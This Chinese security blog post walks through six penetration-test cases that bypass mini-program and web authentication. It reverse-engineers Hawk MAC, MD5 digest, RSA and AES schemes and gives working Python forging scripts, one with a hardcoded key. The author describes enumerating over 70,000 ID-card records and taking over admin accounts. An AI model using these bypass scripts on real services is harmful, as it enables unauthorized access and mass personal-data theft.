文章总结: 本文通过六个案例剖析小程序与Web端加密鉴权绕过,利用反编译、JS逆向及动态调试还原Hawk协议MAC、MD5摘要、RSA及AES加密逻辑。演示了通过算法复现实现越权访问与信息遍历,强调密钥管理的重要性,提供了具体复现脚本与实战思路。
综合评分: 94
文章分类: 渗透测试,WEB安全,漏洞分析
Web篇 | 手把手拆解:小程序/Web端加密鉴权绕过案例全复现
零日安全实验室
零日安全实验室
2026年1月10日 19:48
陕西
目 录
前言
案例一
案例二
案例三
案例四
案例五
案例六
总结
1
前言
本文通过六个真实渗透测试案例,深入剖析小程序与Web端常见的加密鉴权机制,手把手演示如何通过反编译、动态调试、JS逆向与脚本复现,精准定位加密逻辑、还原签名算法,并最终实现越权访问、信息遍历与账号接。
2
案例一
某天对小程序进行登录时发现登录进去这个接口有个personalid参数,发现也是返回了个人信息,一开始还以为是一个改id进行越权的简单漏洞,但是当我再次发包以后显示时间ts有问题,改了ts以后又说nonce有问题,到最后改了nonce,发现mac又有问题,这里就大概了解了大概的一个鉴权(ts,nonce要变化)。
到这里就可以发现是mac参数进行的鉴权,由于是小程序,所以反编译一下源码,这里全局搜一下mac。
代码如下:
var o = { ts: a, nonce: i.nonce || e.utils.randomString(6), method: n, resource: r.resource, host: r.host, port: r.port, hash: i.hash, ext: i.ext, app: i.app, dlg: i.dlg }, c = e.crypto.calculateMac("header", s, o), h = 'Hawk id="' + s.id + '",ts="' + o.ts + '",nonce="' + o.nonce + '",mac="' + c + '"';
这里的o是ts,nonce,method,resource,host,port这些组合起来的,可以看见mac是等于c的,其实就是请求方式和url及认证头里面的东西组合起来进行了一个加密,跟进一下e.crypto.calculateMac,然后全局搜索,
如下:
加密逻辑:
e.crypto = { headerVersion: "1", algorithms: ["sha1", "sha256"], calculateMac: function(t, r, n) { var i = e.crypto.generateNormalizedString(t, n); return s["Hmac" + r.algorithm.toUpperCase()](i, r.key).toString(s.enc.Base64) }
这里对calculateMac函数分析,这个函数是该对象的核心,它接受三个参数:
- t:原始数据
- r:包含算法和密钥的对象。这个对象内部有 r.algorithm(指定哈希算法,例如”sha1″或”sha256″) 和 r.key(用于HMAC计算的密钥)。
- n:也就是o
var i = e.crypto.generateNormalizedString(t, n);
首先,调用e.crypto.generateNormalizedString函数,传入t和n参数。这个函数将上一步准备好的o对象(以及其他输入,如 t)按照Hawk 协议的特定规则进行排序和拼接,生成一个唯一的、标准化的字符串。这样的话就确保不管数据在原始对象中的顺序如何,只要内容不变,生成的标准化字符串就始终一致。这对于防止因数据顺序不一致而导致的签名验证失败。
return s["Hmac" + r.algorithm.toUpperCase()](i, r.key).toString(s.enc.Base64)
这行代码是实际进行HMAC计算和格式化的部分。
r.algorithm.toUpperCase(): 将传入的算法名称转换为大写,
例如sha1变为SHA1。“Hmac”+r.algorithm.toUpperCase(): 动态构建HMAC算法名称,
例如“HmacSHA1”或“HmacSHA256”。
s[“Hmac…”](i, r.key): 使用标准化字符串i和密钥r.key来调用HMACC算法进行计算,返回一个HMAC结果。
.toString(s.enc.Base64): 将计算出的HMAC结果转换为Base64编码的字符串,并作为函数的最终返回值。
这里就需要找到key了
一开始全局搜索key但是太多了
然后联想到一般key都会放在配置文件里面
搜了一下config
写个脚本试一下能不能使用
import base64import hmacimport hashlibimport timedef generate_normalized_string(header_type, artifacts): """生成 Hawk 规范化字符串""" n = f"hawk.1.{header_type}\n" n += f"{artifacts['ts']}\n" n += f"{artifacts['nonce']}\n" n += f"{artifacts['method'].upper()}\n" n += f"{artifacts['resource']}\n" n += f"{artifacts['host'].lower()}\n" n += f"{artifacts['port']}\n" n += f"{artifacts['hash']}\n" # 空字符串 # 无 ext 参数 n += "\n" # 无 app 和 dlg 参数 return ndef calculate_mac(credentials, artifacts): """计算 Hawk MAC 值""" normalized_str = generate_normalized_string("header", artifacts) print("规范化字符串:") print("----------------------") print(normalized_str) print("----------------------") key_bytes = credentials["key"].encode("utf-8") msg_bytes = normalized_str.encode("utf-8") # 使用 SHA-256 hmac_digest = hmac.new(key_bytes, msg_bytes, hashlib.sha256).digest() return base64.b64encode(hmac_digest).decode("utf-8")# 输入参数credentials = { "id": "wasx", "key": "edb8bc95-a000-4ca0-81b8-dd2145050a70F61FB1981510CE5D3988193864A328A3", "algorithm": "sha256"}timestamp = time.time()timestamps=int(timestamp)artifacts = { "ts": timestamps, "nonce": "6a0d5d576135004ead6cf4795e5b6112", "method": "GET", "resource": "xxxx/List/QueryByPersonalid?personalid=668223", "host": "xxxxxxx", "port": "443", "hash": ""} # 计算并验证 MACcalculated_mac = calculate_mac(credentials, artifacts)print(f"计算 MAC: {calculated_mac}")
发现可以使用,后续也是遍历了7w+的sfz信息。
3
案例二
这里是一个预约功能的地方,需要填写个人信息包括了身份证号,可以看见有个personCode参数,后面跟了一串数字,然后下滑可以发现返回了个人信息,原本想遍历一下这个参数的,但是说参数过期了,想都不要想肯定是digest加密导致的。
一样的方法反编译一下,找到加密地方:
这个就比较简单了,只有有个hexMD5加密,简单分析一下代码,
var n = a.domainUrl(o.domain).match(/[^\/]+$/)[1]
这个正则表达式是匹配字符串末尾的非斜杠字符。
例如,如果a.domainUrl(o.domain)返回 “https://example.com/api”,那么它会匹配 “api”。
u = o.url.includes("?") ? o.url.split("?")[0] : o.url
这行代码处理URL,去除查询参数。
o.url.includes(“?”):检查o.url字符串是否包含问号?
o.url.split(“?”)[0]:如果包含?,则用?分割 URL 字符串,并取第一个部分,即问号之前的部分。
digest: t.hexMD5("/".concat(n, "/") + u + s).toUpperCase()
-
“/”.concat(n, “/”):将字符串n用斜杠包裹起来。例如,如果n是“api”,结果就是“/api/”。
-
+u+s:将上一步的结果、不带参数的URL“u”和时间戳“s”拼接在一起。
-
t.hexMD5(…):调用一个名为t的对象上的hexMD5方法,对拼接后的字符串进行MD5哈希计算。MD5是一种常见的哈希算法,用于生成一个唯一的、固定长度的散列值。
-
.toUpperCase():将生成的MD5散列值转换为大写。
分析完毕,开始写脚本:
import reimport hashlibimport timedef calculate_digest(domain, url, timestamp): # 提取domain的最后路径片段 match = re.search(r'\/([^\/]+)\/?$', domain) if not match: raise ValueError("Invalid domain format") n = match.group(1) # 去掉URL的查询参数 u = url.split('?', 1)[0] # 拼接字符串 s = f"/{n}/{u}{timestamp}" # 计算MD5并转大写 return hashlib.md5(s.encode('utf-8')).hexdigest().upper()# 示例调用if __name__ == "__main__": domain = 'xxxxx' url = 'xxxxx' timestamp = int(time.time() * 1000) # 获取毫秒级时间戳 print("Timestamp:", timestamp) digest = calculate_digest(domain, url, timestamp)print("digest:", digest)
4
案例三
这里说一下快速找到加密点的方法,
xhr打断点进行定位加密,选一个标志性的进行定位,
加入xhr
刷新页面,断住了,接下来看它的作用域来寻找加密参数。
往上跟栈,发现加密参数
再往上跟几个栈,找到最后一个出现加密参数的地方
接下来直接上案例。
这个是web端的js逆向,在查看网页源代码的时候发现了默认密码111111,并且没有验证码校验,这里大概的一个攻击思路就是固定密码爆破用户名。
但是在抓包的时候发现,password被加密了
这里又需要js逆向了
一开始是搜索加密参数,然后挨个看了下发现加密函数。
rsa.setPublic(modulus, exponent)
-
**modulus**(模数):这是一个非常大的数字,这里用十六进制字符串表示。它是RSA 密钥对的核心部分。从其长度(256个字符)来看,这是一个 1024 位的密钥。
-
**exponent**(公钥指数):值为 “10001”,这是一个常用的公钥指数,它的十六进制值是 65537。选择这个值是因为它是一个质数,且二进制表示中只有两个 1,可以加快加密运算的速度。
-
rsa.setPublic()方法将这两个值设置为 rsa 对象的公钥,使其准备好进行加密。
跟进一下这个加密函数。
var m = pkcs1pad2(text,(this.n.bitLength()+7)>>3);
-
**pkcs1pad2**:是一个填充函数,它根据PKCS #1 v1.5标准对明文进行填充,确保明文的长度适合加密。
-
this.n代表RSA密钥对中的模数(modulus)。this.n.bitLength()获取模数的位长度。
-
(this.n.bitLength() + 7) >> 3是一个计算字节长度的位运算技巧,等同于Math.ceil(this.n.bitLength() / 8)。它确保填充后的数据长度与RSA密钥的长度匹配。如果填充失败,函数返回null。
var c = this.doPublic(m);
- **this.doPublic(m)**是执行 RSA 公钥加密的核心操作。它使用 RSA 公钥(模数**n**和公钥指数**e**)将填充后的明文m进行加密。
- 加密公式为:c=me(modn),其中c是密文,m是填充后的明文,e是公钥指数,n
是模数。如果加密失败,函数返回null。
var h = c.toString(16);
-
c通常是一个大数对象,toString(16)将其转换为十六进制字符串h。
-
if((h.length & 1) == 0) return h; else return “0” + h;这是一个确保十六进制字符串长度为偶数的检查。
接下来就可以写加密脚本了。
import base64from cryptography.hazmat.primitives import serialization, paddingfrom cryptography.hazmat.primitives.asymmetric import rsa, padding as asymmetric_paddingfrom cryptography.hazmat.backends import default_backend# 1. 设置公钥的模数和指数modulus_hex = "B87A3BE2184FED0973FFB0B02A862DCAD15A1A29172EC8FF67E841FE26749A6AA04E48E9B02D963ED81DCE2B0086C034F7D47CCBACF8539C36B9445ABA5EF484F3CA32593762641B4C9683C79801D087198370D5719BB4E422FADAA4D883D13874DE67D8B6E883EBAACC53A8480F41EE8BE70D2F70BECF3CB7F1023D2C901CC3"exponent_hex = "10001"# 将十六进制字符串转换为整数n = int(modulus_hex, 16)e = int(exponent_hex, 16)public_numbers = rsa.RSAPublicNumbers(e, n)public_key = public_numbers.public_key(default_backend())# 3. 定义加密函数def rsa_encrypt(plaintext, public_key): ciphertext = public_key.encrypt( plaintext.encode('utf-8'), asymmetric_padding.PKCS1v15() ) # 转换为十六进制字符串,并确保长度为偶数 hex_ciphertext = ciphertext.hex() if len(hex_ciphertext) % 2 != 0: hex_ciphertext = '0' + hex_ciphertext return hex_ciphertextpsw = "111111"# 4. 执行加密encrypted_psw = rsa_encrypt(psw, public_key)print(f"待加密的明文: {psw}")print(f"加密后的密文: {encrypted_psw}")print(f"密文长度: {len(encrypted_psw)} 字符")
5
案例四
这里在一个数据包里面发现了一个密钥
这里发现账户鉴权的参数是account,js翻到是rsa加密
function encrypt(username, privatKey) { const encrypt = new JSEncrypt(); encrypt.setPublicKey(privatKey); const encrypted = encrypt.encrypt(username); if (encrypted) { return encrypted; }
只需要提供用户名和密钥就可以加密了,由于这里已经有了密钥,那直接控制台调用就好了。
普通用户登录后,发现了管理员用户名,同样的方法加密
直接泄露了几万条数据
6
案例五
这里是小程序的一个注销功能
注销账号为post方式的加密数据,这里就需要对小程序进行js逆向调试
这里我们根据路由来找加密点
js逆向动态调试的好处就是可以修改数值,它也会自动生成密文,这里就直接动调的时候给手机号改了,就可以了
7
案例六
小程序这里有个保存用户信息的地方,抓包可以看到也是被加密了,这里返回了一个yhgrid
对小程序的如下 JS进行断点调试:抓取修改用户地址信息接口,报文加密为AES-CBC-ZERO,key和iv为UKUem5xBbOa/Lz==,再加上ur1编码解密可得。
修改grid
发包修改成功
再次查看用户信息,发现被成功修改了
8
总结
通过对六个典型场景的拆解,我们不难发现:“加密安全”。无论是HaWk协议中的动态签名、MD5时间戳校验,还是RSA/AES等标准加密算法,其安全性高度依赖于密钥管理、参数时效性与实现细节。一旦密钥泄露、nonce可预测、ts未严格校验,或加密逻辑被完整逆向,整个鉴权体系将形同虚设。
没看够~?欢迎关注!
往期精彩推荐
工具篇 | 两大顶尖AI模型免费用!Gemini3和Claude Sonnet 4.5(Thinking)全开放!
工具篇 | Cursor全面封杀:wf,Claude code,Claude codex,qoder和Augment怎么选?
工具篇 | Cursor最强限制接触,活动仅剩最后三天!三天!!!
工具篇 | 终于找到满血版Cursor的正确打开方式!Claude-4-sonnet MAX直接拉满
Web篇 | 从防御到绕过:剖析长亭雷池WAF防护机制与SQL注入绕过测试
逆向篇 | 把原神设为微信头像,别人点开30秒微信闪退:30秒微信闪退消息 “炸弹” 背后原理揭秘!!!
工具篇 | 全网第一:实测有效,一招解锁cursor无限续杯无限次数,速看!
工具篇 | 必看!!!一招打开微信开发者调式窗口:小程序逆向必备
漏洞复现篇 | CraftCMS 任意命令执行漏洞,CVE-2025-32432
内网篇 |【干货】探秘高版本系统:密码抓取技术与方法解析,建议收藏!!!
面试篇 | 网安春招大厂面试题精选:看这一篇就够了,必看!!!(2)
面试篇 | 网安春招大厂面试题精选:看这一篇就够了,必看!!!(1)
工具篇 | MuMu模拟器安装证书+burpsuite抓包,APP&小程序渗透必备!!!
内网篇 | 巧妙使用CDN隐藏CobaltStrike特征,红队必备!!!
Web篇 | Fastjson反序列化漏洞深度剖析:成因、挖掘思路与防范攻略(上)
内网篇 | 干货!一文秒懂Kerberos认证:全面剖析与实践指南
内网篇 | CobaltStrike:深入探索本地信息收集技巧,干货!!!
漏洞复现篇 | Vite任意文件读取漏洞:CVE-2025-30208,最新!
Web篇 |【全网最详细】Apache CC反序列化漏洞:CC1调用链POC构造过程,干货!!!(上)
Web篇 | 一文掌握Apache Commons Collections反序列化漏洞,速看!!!(上)
工具篇 | 把deepseek塞进微信:实现自动回复消息!王炸!!!
内网篇 | 【送给小白的】内网信息收集:端口扫描详解,干货!!!
漏洞复现篇 | CVE-2025-24813 Tomcat,最新RCE漏洞,速看!!!
内网篇 | 干货!深入解析NTLM协议:挑战-响应认证机制揭秘,红队必备!
Web篇 | 最强sqlmap联动burpsuite+WAF绕过姿势,Hvv面试必备!
SRC篇 | 今天你挖洞了吗?Webpack未授权访问漏洞,实战!
漏洞复现篇 | Ecshop SQL注入引起的任意代码执行漏洞
Web篇 | 技巧!布尔盲注-利用burpsuite实现半自动化
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:零日安全实验室 零日安全实验室《Web篇 | 手把手拆解:小程序/Web端加密鉴权绕过案例全复现》